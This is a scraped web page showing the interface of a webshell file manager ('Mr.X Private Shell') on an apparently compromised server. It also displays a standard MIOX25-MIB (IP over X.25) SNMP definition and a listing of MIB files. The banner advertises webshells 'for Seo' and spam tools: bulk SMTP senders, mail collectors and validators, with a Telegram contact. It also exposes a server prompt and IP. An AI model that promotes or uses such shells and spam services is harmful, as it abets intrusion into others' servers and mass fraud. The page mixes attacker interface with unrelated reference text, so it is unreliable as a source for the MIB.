xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
MIOX25-MIB DEFINITIONS  ::= BEGIN

IMPORTS
        Counter,
        TimeTicks
                FROM RFC1155-SMI
        OBJECT-TYPE
                FROM RFC-1212
        DisplayString, transmission,
        ifIndex
                FROM RFC1213-MIB
        InstancePointer
                FROM RFC1316-MIB
        X121Address
                FROM RFC1382-MIB
        PositiveInteger
                FROM RFC1381-MIB;

                -- IP over X.25 MIB

miox    OBJECT IDENTIFIER ::= { transmission 38 }

mioxPle         OBJECT IDENTIFIER ::= { miox 1 }
mioxPeer        OBJECT IDENTIFIER ::= { miox 2 }

-- ###########################################################
--              Ple Table
-- ###########################################################

-- Systems that implement RFC 1356 must also implement
-- all objects in this group.

mioxPleTable    OBJECT-TYPE
        SYNTAX  SEQUENCE OF MioxPleEntry
        ACCESS  not-accessible
        STATUS  mandatory
        DESCRIPTION
                "This table contains information relative to
                an interface to an X.25 Packet Level Entity
                (PLE)."
        ::= { mioxPle 1   }

mioxPleEntry    OBJECT-TYPE
        SYNTAX  MioxPleEntry
        ACCESS  not-accessible
        STATUS  mandatory
        DESCRIPTION
                "These objects manage the encapsulation of
                other protocols within X.25."
        INDEX { ifIndex }
        ::= { mioxPleTable 1 }

MioxPleEntry ::= SEQUENCE {
        mioxPleMaxCircuits
                INTEGER,
        mioxPleRefusedConnections
                Counter,
        mioxPleEnAddrToX121LkupFlrs
                Counter,
        mioxPleLastFailedEnAddr
                OCTET STRING,
        mioxPleEnAddrToX121LkupFlrTime
                TimeTicks,
        mioxPleX121ToEnAddrLkupFlrs
                Counter,
        mioxPleLastFailedX121Address
                X121Address,
        mioxPleX121ToEnAddrLkupFlrTime
                TimeTicks,
        mioxPleQbitFailures
                Counter,
        mioxPleQbitFailureRemoteAddress
                X121Address,
        mioxPleQbitFailureTime
                TimeTicks,
        mioxPleMinimumOpenTimer
                PositiveInteger,
        mioxPleInactivityTimer
                PositiveInteger,
        mioxPleHoldDownTimer
                PositiveInteger,
        mioxPleCollisionRetryTimer
                PositiveInteger,
        mioxPleDefaultPeerId
                InstancePointer
        }

mioxPleMaxCircuits OBJECT-TYPE
        SYNTAX  INTEGER (0..2147483647)
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The maximum number of X.25 circuits that
                can be open at one time for this interface.
                A value of zero indicates the interface will
                not allow any additional circuits (as it may
                soon be shutdown).  A value of 2147483647
                allows an unlimited number of circuits."
        ::= { mioxPleEntry 1 }

mioxPleRefusedConnections OBJECT-TYPE
        SYNTAX  Counter
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The number of X.25 calls from a remote
                systems to this system that were cleared by
                this system.  The interface instance should
                identify the X.25 interface the call came in
                on."
        ::= { mioxPleEntry 2 }

mioxPleEnAddrToX121LkupFlrs OBJECT-TYPE
        SYNTAX  Counter
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The number of times a translation from an
                Encapsulated Address to an X.121 address
                failed to find a corresponding X.121
                address.  Encapsulated addresses can be
                looked up in the mioxPeerTable or translated
                via an algorithm as for the DDN.  Addresses
                that are successfully recognized do not
                increment this counter.  Addresses that are
                not recognized (reflecting an abnormal
                packet delivery condition) increment this
                counter.

                If an address translation fails, it may be
                difficult to determine which PLE entry
                should count the failure.  In such cases the
                first likely entry in this table should be
                selected.  Agents should record the failure
                even if they are unsure which PLE should be
                associated with the failure."
        ::= { mioxPleEntry 3 }

mioxPleLastFailedEnAddr OBJECT-TYPE
        SYNTAX  OCTET STRING (SIZE(2..128))
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The last Encapsulated address that failed
                to find a corresponding X.121 address and
                caused mioxPleEnAddrToX121LkupFlrs to be
                incremented.  The first octet of this object
                contains the encapsulation type, the
                remaining octets contain the address of that
                type that failed.  Thus for an IP address,
                the length will be five octets, the first
                octet will contain 204 (hex CC), and the
                last four octets will contain the IP
                address.  For a snap encapsulation, the
                first byte would be 128 (hex 80) and the
                rest of the octet string would have the snap
                header."
        ::= { mioxPleEntry 4 }

mioxPleEnAddrToX121LkupFlrTime OBJECT-TYPE
        SYNTAX  TimeTicks
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The most recent value of sysUpTime when the
                translation from an Encapsulated Address to
                X.121 address failed to find a corresponding
                X.121 address."
        ::= { mioxPleEntry 5 }


mioxPleX121ToEnAddrLkupFlrs OBJECT-TYPE
        SYNTAX  Counter
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The number of times the translation from an
                X.121 address to an Encapsulated Address
                failed to find a corresponding Encapsulated
                Address.  Addresses successfully recognized
                by an algorithm do not increment this
                counter.  This counter reflects the number
                of times call acceptance encountered the
                abnormal condition of not recognizing the
                peer."
        ::= { mioxPleEntry 6 }

mioxPleLastFailedX121Address OBJECT-TYPE
        SYNTAX  X121Address
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The last X.121 address that caused
                mioxPleX121ToEnAddrLkupFlrs to increase."
        ::= { mioxPleEntry 7 }

mioxPleX121ToEnAddrLkupFlrTime OBJECT-TYPE
        SYNTAX  TimeTicks
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The most recent value of sysUpTime when the
                translation from an X.121 address to an
                Encapsulated Address failed to find a
                corresponding Encapsulated Address."
        ::= { mioxPleEntry 8 }

mioxPleQbitFailures OBJECT-TYPE
        SYNTAX  Counter
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The number of times a connection was closed
                because of a Q-bit failure."
        ::= { mioxPleEntry 9 }

mioxPleQbitFailureRemoteAddress OBJECT-TYPE
        SYNTAX  X121Address
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The remote address of the most recent
                (last) connection that was closed because of
                a Q-bit failure."
        ::= { mioxPleEntry 10 }

mioxPleQbitFailureTime OBJECT-TYPE
        SYNTAX  TimeTicks
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The most recent value of sysUpTime when a
                connection was closed because of a Q-bit
                failure.  This will also be the last time
                that mioxPleQbitFailures was incremented."
        ::= { mioxPleEntry 11 }

mioxPleMinimumOpenTimer OBJECT-TYPE
        SYNTAX  PositiveInteger
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The minimum time in milliseconds this
                interface will keep a connection open before
                allowing it to be closed.  A value of zero
                indicates no timer."
        DEFVAL { 0 }
        ::= { mioxPleEntry 12 }

mioxPleInactivityTimer OBJECT-TYPE
        SYNTAX  PositiveInteger
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The amount of time time in milliseconds
                this interface will keep an idle connection
                open before closing it.  A value of
                2147483647 indicates no timer."
        DEFVAL { 10000 }
        ::= { mioxPleEntry 13 }

mioxPleHoldDownTimer    OBJECT-TYPE
        SYNTAX  PositiveInteger
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The hold down timer in milliseconds.  This
                is the minimum amount of time to wait before
                trying another call to a host that was
                previously unsuccessful.  A value of
                2147483647 indicates the host will not be
                retried."
        DEFVAL { 0 }
        ::= { mioxPleEntry 14 }

mioxPleCollisionRetryTimer OBJECT-TYPE
        SYNTAX  PositiveInteger
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The Collision Retry Timer in milliseconds.
                The time to delay between call attempts when
                the maximum number of circuits is exceeded
                in a call attempt."
        DEFVAL { 0 }
        ::= { mioxPleEntry 15 }


mioxPleDefaultPeerId OBJECT-TYPE
        SYNTAX  InstancePointer
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "This identifies the instance of the index
                in the mioxPeerTable for the default
                parameters to use with this interface.

                The entry identified by this object may have
                a zero length Encapsulation address and a
                zero length X.121 address.

                These default parameters are used with
                connections to hosts that do not have
                entries in the mioxPeerTable.  Such
                connections occur when using ddn-x25 IP-X.25
                address mapping or when accepting
                connections from other hosts not in the
                mioxPeerTable.

                The mioxPeerEncTable entry with the same
                index as the mioxPeerTable entry specifies
                the call encapsulation types this PLE will
                accept for peers not in the mioxPeerTable.
                If the mioxPeerEncTable doesn't contain any
                entries, this PLE will not accept calls from
                entries not in the mioxPeerTable."
        ::= { mioxPleEntry 16 }



-- ###########################################################
--              Peer Table
-- ###########################################################

-- Systems that implement RFC 1356 must also implement
-- all objects in this group.

mioxPeerTable OBJECT-TYPE
        SYNTAX  SEQUENCE OF MioxPeerEntry
        ACCESS  not-accessible
        STATUS  mandatory
        DESCRIPTION
                "This table contains information about the
                possible peers this machine may exchange
                packets with."
        ::= { mioxPeer 1 }

mioxPeerEntry OBJECT-TYPE
        SYNTAX  MioxPeerEntry
        ACCESS  not-accessible
        STATUS  mandatory
        DESCRIPTION
                "Per peer information."
        INDEX { mioxPeerIndex   }
        ::= { mioxPeerTable 1 }


MioxPeerEntry ::= SEQUENCE {
        mioxPeerIndex
                PositiveInteger,
        mioxPeerStatus
                INTEGER,
        mioxPeerMaxCircuits
                PositiveInteger,
        mioxPeerIfIndex
                PositiveInteger,
        mioxPeerConnectSeconds
                Counter,
        mioxPeerX25CallParamId
                InstancePointer,
        mioxPeerEnAddr
                OCTET STRING,
        mioxPeerX121Address
                X121Address,
        mioxPeerX25CircuitId
                InstancePointer,
        mioxPeerDescr
                DisplayString
        }

mioxPeerIndex   OBJECT-TYPE
        SYNTAX  PositiveInteger
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "An index value that distinguished one entry
                from another.  This index is independent of
                any other index."
        ::= { mioxPeerEntry 1 }

-- Systems can claim conformance with this MIB without
-- implementing sets to mioxPeerStatus with a value of
-- clearCall or makeCall.
-- All other defined values must be accepted.
-- Implementors should realize that allowing these values
-- provides richer management, and implementations
-- are encouraged to accept these values.
mioxPeerStatus OBJECT-TYPE
        SYNTAX  INTEGER {
                        valid (1),
                        createRequest (2),
                        underCreation (3),
                        invalid (4),
                        clearCall (5),
                        makeCall (6)
                        }
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "This reports the status of a peer entry.
                A value of valid indicates a normal entry
                that is in use by the agent.  A value of
                underCreation indicates a newly created
                entry which isn't yet in use because the
                creating management station is still setting
                values.

                The value of invalid indicates the entry is
                no longer in use and the agent is free to
                delete the entry at any time.  A management
                station is also free to use an entry in the
                invalid state.

                Entries are created by setting a value of
                createRequest.  Only non-existent or invalid
                entries can be set to createRequest.  Upon
                receiving a valid createRequest, the agent
                will create an entry in the underCreation
                state.  This object can not be set to a
                value of underCreation directly, entries can
                only be created by setting a value of
                createRequest.  Entries that exist in other
                than the invalid state can not be set to
                createRequest.

                Entries with a value of underCreation are
                not used by the system and the management
                station can change the values of other
                objects in the table entry.  Management
                stations should also remember to configure
                values in the mioxPeerEncTable with the same
                peer index value as this peer entry.

                An entry in the underCreation state can be
                set to valid or invalid.  Entries in the
                underCreation state will stay in that state
                until 1) the agent times them out, 2) they
                are set to valid, 3) they are set to
                invalid.  If an agent notices an entry has
                been in the underCreation state for an
                abnormally long time, it may decide the
                management station has failed and invalidate
                the entry.  A prudent agent will understand
                that the management station may need to wait
                for human input and will allow for that
                possibility in its determination of this
                abnormally long period.

                Once a management station has completed all
                fields of an entry, it will set a value of
                valid.  This causes the entry to be
                activated.

                Entries in the valid state may also be set
                to makeCall or clearCall to make or clear
                X.25 calls to the peer.  After such a set
                request the entry will still be in the valid
                state.  Setting a value of makeCall causes
                the agent to initiate an X.25 call request
                to the peer specified by the entry.  Setting
                a value of clearCall causes the agent to
                initiate clearing one X.25 call present to
                the peer.  Each set request will initiate
                another call or clear request (up to the
                maximum allowed); this means that management
                stations that fail to get a response to a
                set request should query to see if a call
                was in fact placed or cleared before
                retrying the request.  Entries not in the
                valid state can not be set to makeCall or
                clearCall.

                The values of makeCall and clearCall provide
                for circuit control on devices which perform
                Ethernet Bridging using static circuit
                assignment without address recognition;
                other devices which dynamically place calls
                based on destination addresses may reject
                such requests.

                An agent that (re)creates a new entry
                because of a set with createRequest, should
                also (re)create a mioxPeerEncTable entry
                with a mioxPeerEncIndex of 1, and a
                mioxPeerEncType of 204 (hex CC)."
        ::= { mioxPeerEntry 2 }

mioxPeerMaxCircuits OBJECT-TYPE
        SYNTAX  PositiveInteger
        ACCESS  read-write
        STATUS    mandatory
        DESCRIPTION
                "The maximum number of X.25 circuits allowed
                to this peer."
        DEFVAL { 1 }
        ::= { mioxPeerEntry 3 }

mioxPeerIfIndex OBJECT-TYPE
        SYNTAX  PositiveInteger
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The value of the ifIndex object for the
                interface to X.25 to use to call the peer."
        DEFVAL { 1 }
        ::= { mioxPeerEntry 4 }

mioxPeerConnectSeconds OBJECT-TYPE
        SYNTAX  Counter
        ACCESS  read-only
        STATUS  mandatory
        DESCRIPTION
                "The number of seconds a call to this peer
                was active.  This counter will be
                incremented by one for every second a
                connection to a peer was open.  If two calls
                are open at the same time, one second of
                elapsed real time will results in two
                seconds of connect time."
        ::= { mioxPeerEntry 5 }

mioxPeerX25CallParamId OBJECT-TYPE
        SYNTAX  InstancePointer
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The instance of the index object in the
                x25CallParmTable from RFC 1382 for the X.25
                call parameters used to communicate with the
                remote host.  The well known value {0 0}
                indicates no call parameters specified."
        DEFVAL { {0 0} }
        ::= { mioxPeerEntry 6 }

mioxPeerEnAddr  OBJECT-TYPE
        SYNTAX    OCTET STRING (SIZE (0..128))
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The Encapsulation address of the remote
                host mapped by this table entry.  A length
                of zero indicates the remote IP address is
                unknown or unspecified for use as a PLE
                default.

                The first octet of this object contains the
                encapsulation type, the remaining octets
                contain an address of that type.  Thus for
                an IP address, the length will be five
                octets, the first octet will contain 204
                (hex CC), and the last four octets will
                contain the IP address.  For a snap
                encapsulation, the first byte would be 128
                (hex 80) and the rest of the octet string
                would have the snap header."
        DEFVAL { ''h }
        ::= { mioxPeerEntry 7 }

mioxPeerX121Address OBJECT-TYPE
        SYNTAX  X121Address
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The X.25 address of the remote host mapped
                by this table entry.  A zero length string
                indicates the X.25 address is unspecified
                for use as the PLE default."
        DEFVAL { ''h }
        ::= { mioxPeerEntry 8 }

-- Systems can claim conformance to this MIB without
-- implementing sets to mioxPeerX25CircuitId.
-- However systems that use PVCs with RFC1356
-- are encouraged to implement sets.
mioxPeerX25CircuitId OBJECT-TYPE
        SYNTAX  InstancePointer
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "This object identifies the instance of the
                index for the X.25 circuit open to the peer
                mapped by this table entry.  The well known
                value {0 0} indicates no connection
                currently active.  For multiple connections,
                this identifies the index of a multiplexing
                table entry for the connections.  This can
                only be written to configure use of PVCs
                which means the identified circuit table
                entry for a write must be a PVC."
        DEFVAL { {0 0} }
        ::= { mioxPeerEntry 9 }

mioxPeerDescr   OBJECT-TYPE
        SYNTAX  DisplayString (SIZE (0..255))
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "This object returns any identification
                information about the peer.  An agent may
                supply the comment information found in the
                configuration file entry for this peer.  A
                zero length string indicates no information
                available."
        DEFVAL { ''h }
        ::= { mioxPeerEntry 10 }



-- ###########################################################
--              Peer Encapsulation Table
-- ###########################################################

mioxPeerEncTable OBJECT-TYPE
        SYNTAX  SEQUENCE OF MioxPeerEncEntry
        ACCESS  not-accessible
        STATUS  mandatory
        DESCRIPTION
                "This table contains the list of
                encapsulations used to communicate with a
                peer.  This table has two indexes, the first
                identifies the peer, the second
                distinguishes encapsulation types.

                The first index identifies the corresponding
                entry in the mioxPeerTable.  The second
                index gives the priority of the different
                encapsulations.

                The encapsulation types are ordered in
                priority order.  For calling a peer, the
                first entry (mioxPeerEncIndex of 1) is tried
                first.  If the call doesn't succeed because
                the remote host clears the call due to
                incompatible call user data, the next entry
                in the list is tried.  Each entry is tried
                until the list is exhausted.

                For answering a call, the encapsulation type
                requested by the peer must be found the list
                or the call will be refused.  If there are
                no entries in this table for a peer, all
                call requests from the peer will be refused.

                Objects in this table can only be set when
                the mioxPeerStatus object with the same
                index has a value of underCreation.  When
                that status object is set to invalid and
                deleted, the entry in this table with that
                peer index must also be deleted."
        ::= { mioxPeer 2 }

mioxPeerEncEntry OBJECT-TYPE
        SYNTAX  MioxPeerEncEntry
        ACCESS  not-accessible
        STATUS  mandatory
        DESCRIPTION
                "Per connection information."
        INDEX { mioxPeerIndex, mioxPeerEncIndex}
        ::= { mioxPeerEncTable 1 }

MioxPeerEncEntry ::= SEQUENCE {
        mioxPeerEncIndex
                PositiveInteger,
        mioxPeerEncType
                INTEGER
        }

mioxPeerEncIndex        OBJECT-TYPE
        SYNTAX  PositiveInteger
        ACCESS  read-only
        STATUS    mandatory
        DESCRIPTION
                "The second index in the table which
                distinguishes different encapsulation
                types."
        ::= { mioxPeerEncEntry 1 }

mioxPeerEncType OBJECT-TYPE
        SYNTAX  INTEGER (0..256)
        ACCESS  read-write
        STATUS  mandatory
        DESCRIPTION
                "The value of the encapsulation type.  For
                IP encapsulation this will have a value of
                204 (hex CC).  For SNAP encapsulated
                packets, this will have a value of 128 (hex
                80).  For CLNP, ISO 8473, this will have a
                value of 129 (hex 81).  For ES-ES, ISO 9542,
                this will have a value of 130 (hex 82).  A
                value of 197 (hex C5) identifies the Blacker
                X.25 encapsulation.  A value of 0,
                identifies the Null encapsulation.

                This value can only be written when the
                mioxPeerStatus object with the same
                mioxPeerIndex has a value of underCreation.
                Setting this object to a value of 256
                deletes the entry.  When deleting an entry,
                all other entries in the mioxPeerEncTable
                with the same mioxPeerIndex and with an
                mioxPeerEncIndex higher then the deleted
                entry, will all have their mioxPeerEncIndex
                values decremented by one."
        ::= { mioxPeerEncEntry 2 }

-- ###########################################################

END

Filemanager

Name Type Size Permission Actions
ACCOUNTING-CONTROL-MIB File 30.35 KB 0644
ADSL-LINE-EXT-MIB File 47.79 KB 0644
ADSL-LINE-MIB File 166.6 KB 0644
ADSL-TC-MIB File 3.84 KB 0644
ADSL2-LINE-MIB File 200.92 KB 0644
ADSL2-LINE-TC-MIB File 27.4 KB 0644
AGENTX-MIB File 17.07 KB 0644
AGGREGATE-MIB File 16.57 KB 0644
ALARM-MIB File 37.66 KB 0644
APM-MIB File 84.29 KB 0644
APPC-MIB File 195.31 KB 0644
APPLETALK-MIB File 100.13 KB 0644
APPLICATION-MIB File 117.42 KB 0644
APPN-DLUR-MIB File 23.15 KB 0644
APPN-MIB File 195.6 KB 0644
APPN-TRAP-MIB File 20.13 KB 0644
APS-MIB File 55.47 KB 0644
ARC-MIB File 13.73 KB 0644
ATM-ACCOUNTING-INFORMATION-MIB File 14.81 KB 0644
ATM-MIB File 102.21 KB 0644
ATM-TC-MIB File 26.64 KB 0644
ATM2-MIB File 116.56 KB 0644
BGP4-MIB File 43.04 KB 0644
BLDG-HVAC-MIB File 21.54 KB 0644
BRIDGE-MIB File 49.84 KB 0644
CHARACTER-MIB File 20.47 KB 0644
CIRCUIT-IF-MIB File 12.96 KB 0644
CLNS-MIB File 36.38 KB 0644
COFFEE-POT-MIB File 3.58 KB 0644
COPS-CLIENT-MIB File 31.18 KB 0644
DECNET-PHIV-MIB File 92.46 KB 0644
DIAL-CONTROL-MIB File 46.43 KB 0644
DIFFSERV-CONFIG-MIB File 8.33 KB 0644
DIFFSERV-DSCP-TC File 1.82 KB 0644
DIFFSERV-MIB File 124.5 KB 0644
DIRECTORY-SERVER-MIB File 22.96 KB 0644
DISMAN-EVENT-MIB File 66.58 KB 0644
DISMAN-EXPRESSION-MIB File 41.71 KB 0644
DISMAN-NSLOOKUP-MIB File 18.12 KB 0644
DISMAN-PING-MIB File 56.06 KB 0644
DISMAN-SCHEDULE-MIB File 24.06 KB 0644
DISMAN-SCRIPT-MIB File 62.86 KB 0644
DISMAN-TRACEROUTE-MIB File 67.98 KB 0644
DLSW-MIB File 127.11 KB 0644
DNS-RESOLVER-MIB File 38.41 KB 0644
DNS-SERVER-MIB File 36.64 KB 0644
DOCS-BPI-MIB File 56.43 KB 0644
DOCS-CABLE-DEVICE-MIB File 117.75 KB 0644
DOCS-IETF-BPI2-MIB File 132.2 KB 0644
DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB File 54.17 KB 0644
DOCS-IETF-QOS-MIB File 126.86 KB 0644
DOCS-IETF-SUBMGT-MIB File 23.74 KB 0644
DOCS-IF-MIB File 204.1 KB 0644
DOT12-IF-MIB File 31.21 KB 0644
DOT12-RPTR-MIB File 81.56 KB 0644
DOT3-EPON-MIB File 111.24 KB 0644
DOT3-OAM-MIB File 83.82 KB 0644
DS0-MIB File 9.46 KB 0644
DS0BUNDLE-MIB File 9.76 KB 0644
DS1-MIB File 100.45 KB 0644
DS3-MIB File 60.82 KB 0644
DSA-MIB File 21.85 KB 0644
DSMON-MIB File 170.73 KB 0644
EBN-MIB File 25.69 KB 0644
EFM-CU-MIB File 110.78 KB 0644
ENTITY-MIB File 57.84 KB 0644
ENTITY-SENSOR-MIB File 15.8 KB 0644
ENTITY-STATE-MIB File 11.97 KB 0644
ENTITY-STATE-TC-MIB File 6.17 KB 0644
ETHER-CHIPSET-MIB File 20.81 KB 0644
ETHER-WIS File 21.22 KB 0644
EtherLike-MIB File 82.6 KB 0644
FC-MGMT-MIB File 73.67 KB 0644
FCIP-MGMT-MIB File 33.81 KB 0644
FDDI-SMT73-MIB File 66.52 KB 0644
FIBRE-CHANNEL-FE-MIB File 57.74 KB 0644
FLOW-METER-MIB File 64.47 KB 0644
FR-ATM-PVC-SERVICE-IWF-MIB File 46.18 KB 0644
FR-MFR-MIB File 29.42 KB 0644
FRAME-RELAY-DTE-MIB File 32.23 KB 0644
FRNETSERV-MIB File 103.63 KB 0644
FRSLD-MIB File 64.54 KB 0644
Finisher-MIB File 32.35 KB 0644
GMPLS-LABEL-STD-MIB File 24.36 KB 0644
GMPLS-LSR-STD-MIB File 16.83 KB 0644
GMPLS-TC-STD-MIB File 4.78 KB 0644
GMPLS-TE-STD-MIB File 60.73 KB 0644
GSMP-MIB File 59.6 KB 0644
HC-ALARM-MIB File 27.52 KB 0644
HC-PerfHist-TC-MIB File 9.49 KB 0644
HC-RMON-MIB File 115.83 KB 0644
HCNUM-TC File 4.55 KB 0644
HDSL2-SHDSL-LINE-MIB File 83.59 KB 0644
HOST-RESOURCES-MIB File 51.31 KB 0644
HOST-RESOURCES-TYPES File 10.33 KB 0644
HPR-IP-MIB File 17.76 KB 0644
HPR-MIB File 46.24 KB 0644
IANA-ITU-ALARM-TC-MIB File 12.71 KB 0644
IF-CAP-STACK-MIB File 9.89 KB 0644
IF-INVERTED-STACK-MIB File 4.96 KB 0644
IF-MIB File 70.09 KB 0644
IFCP-MGMT-MIB File 37.34 KB 0644
IGMP-STD-MIB File 16.96 KB 0644
INET-ADDRESS-MIB File 16.41 KB 0644
INTEGRATED-SERVICES-GUARANTEED-MIB File 8.47 KB 0644
INTEGRATED-SERVICES-MIB File 26.08 KB 0644
INTERFACETOPN-MIB File 38.92 KB 0644
IP-FORWARD-MIB File 45.28 KB 0644
IP-MIB File 181.57 KB 0644
IPATM-IPMC-MIB File 98.52 KB 0644
IPMCAST-MIB File 91.67 KB 0644
IPMROUTE-STD-MIB File 30.46 KB 0644
IPOA-MIB File 53.71 KB 0644
IPS-AUTH-MIB File 39.93 KB 0644
IPSEC-SPD-MIB File 92.46 KB 0644
IPV6-FLOW-LABEL-MIB File 1.99 KB 0644
IPV6-ICMP-MIB File 15.56 KB 0644
IPV6-MIB File 47.56 KB 0644
IPV6-MLD-MIB File 13.35 KB 0644
IPV6-TC File 2.31 KB 0644
IPV6-TCP-MIB File 7.06 KB 0644
IPV6-UDP-MIB File 4.29 KB 0644
ISCSI-MIB File 105.07 KB 0644
ISDN-MIB File 44.62 KB 0644
ISIS-MIB File 142.38 KB 0644
ISNS-MIB File 121.36 KB 0644
ITU-ALARM-MIB File 16.06 KB 0644
ITU-ALARM-TC-MIB File 2.77 KB 0644
Job-Monitoring-MIB File 68.15 KB 0644
L2TP-MIB File 93.94 KB 0644
LANGTAG-TC-MIB File 2.29 KB 0644
LMP-MIB File 107.63 KB 0644
MALLOC-MIB File 46.65 KB 0644
MAU-MIB File 68.95 KB 0644
MIDCOM-MIB File 85.61 KB 0644
MIOX25-MIB File 26.03 KB 0644
MIP-MIB File 73.74 KB 0644
MOBILEIPV6-MIB File 157.67 KB 0644
MPLS-FTN-STD-MIB File 34.89 KB 0644
MPLS-L3VPN-STD-MIB File 58.2 KB 0644
MPLS-LC-ATM-STD-MIB File 10.73 KB 0644
MPLS-LC-FR-STD-MIB File 8.26 KB 0644
MPLS-LDP-ATM-STD-MIB File 25.19 KB 0644
MPLS-LDP-FRAME-RELAY-STD-MIB File 21.63 KB 0644
MPLS-LDP-GENERIC-STD-MIB File 10.32 KB 0644
MPLS-LDP-STD-MIB File 79.77 KB 0644
MPLS-LSR-STD-MIB File 75.17 KB 0644
MPLS-TC-STD-MIB File 23.99 KB 0644
MPLS-TE-STD-MIB File 84.84 KB 0644
MSDP-MIB File 40.23 KB 0644
MTA-MIB File 41.35 KB 0644
Modem-MIB File 43.91 KB 0644
NAT-MIB File 85.24 KB 0644
NETWORK-SERVICES-MIB File 20.51 KB 0644
NHRP-MIB File 89.07 KB 0644
NOTIFICATION-LOG-MIB File 24.15 KB 0644
OPT-IF-MIB File 211.88 KB 0644
OSPF-MIB File 138.26 KB 0644
OSPF-TRAP-MIB File 20.53 KB 0644
P-BRIDGE-MIB File 38.94 KB 0644
PARALLEL-MIB File 7.5 KB 0644
PIM-MIB File 28.73 KB 0644
PIM-STD-MIB File 128.8 KB 0644
PINT-MIB File 17.72 KB 0644
PKTC-IETF-MTA-MIB File 86.53 KB 0644
PKTC-IETF-SIG-MIB File 114.41 KB 0644
POLICY-BASED-MANAGEMENT-MIB File 82.4 KB 0644
POWER-ETHERNET-MIB File 21.17 KB 0644
PPP-BRIDGE-NCP-MIB File 14.59 KB 0644
PPP-IP-NCP-MIB File 6.43 KB 0644
PPP-LCP-MIB File 26.16 KB 0644
PPP-SEC-MIB File 10.39 KB 0644
PTOPO-MIB File 29.76 KB 0644
PerfHist-TC-MIB File 6.48 KB 0644
Printer-MIB File 164.54 KB 0644
Q-BRIDGE-MIB File 82.16 KB 0644
RADIUS-ACC-CLIENT-MIB File 23.74 KB 0644
RADIUS-ACC-SERVER-MIB File 26.28 KB 0644
RADIUS-AUTH-CLIENT-MIB File 26.34 KB 0644
RADIUS-AUTH-SERVER-MIB File 28.43 KB 0644
RADIUS-DYNAUTH-CLIENT-MIB File 31.83 KB 0644
RADIUS-DYNAUTH-SERVER-MIB File 28.6 KB 0644
RAQMON-MIB File 52.05 KB 0644
RDBMS-MIB File 54.06 KB 0644
RFC-1212 File 2.54 KB 0644
RFC-1215 File 831 B 0644
RFC1065-SMI File 3 KB 0644
RFC1155-SMI File 3 KB 0644
RFC1158-MIB File 32.83 KB 0644
RFC1213-MIB File 77.81 KB 0644
RFC1269-MIB File 10.18 KB 0644
RFC1271-MIB File 144.15 KB 0644
RFC1285-MIB File 60.82 KB 0644
RFC1316-MIB File 16.02 KB 0644
RFC1381-MIB File 33.21 KB 0644
RFC1382-MIB File 89.06 KB 0644
RFC1414-MIB File 3.92 KB 0644
RIPv2-MIB File 16.31 KB 0644
RMON-MIB File 144.33 KB 0644
RMON2-MIB File 218.59 KB 0644
ROHC-MIB File 38.95 KB 0644
ROHC-RTP-MIB File 22.04 KB 0644
ROHC-UNCOMPRESSED-MIB File 5.77 KB 0644
RS-232-MIB File 23.42 KB 0644
RSTP-MIB File 10.52 KB 0644
RSVP-MIB File 92.26 KB 0644
RTP-MIB File 35.41 KB 0644
SCSI-MIB File 94.71 KB 0644
SCTP-MIB File 44.55 KB 0644
SFLOW-MIB File 13.93 KB 0644
SIP-COMMON-MIB File 68.92 KB 0644
SIP-MIB File 34.25 KB 0644
SIP-SERVER-MIB File 29.61 KB 0644
SIP-TC-MIB File 6.72 KB 0644
SIP-UA-MIB File 6.25 KB 0644
SLAPM-MIB File 108.31 KB 0644
SMON-MIB File 42.87 KB 0644
SNA-NAU-MIB File 102.87 KB 0644
SNA-SDLC-MIB File 119.03 KB 0644
SNMP-COMMUNITY-MIB File 15.14 KB 0644
SNMP-FRAMEWORK-MIB File 21.86 KB 0644
SNMP-MPD-MIB File 5.38 KB 0644
SNMP-NOTIFICATION-MIB File 19.58 KB 0644
SNMP-PROXY-MIB File 8.9 KB 0644
SNMP-REPEATER-MIB File 119.78 KB 0644
SNMP-TARGET-MIB File 22.27 KB 0644
SNMP-USER-BASED-SM-MIB File 38.33 KB 0644
SNMP-USM-AES-MIB File 2.16 KB 0644
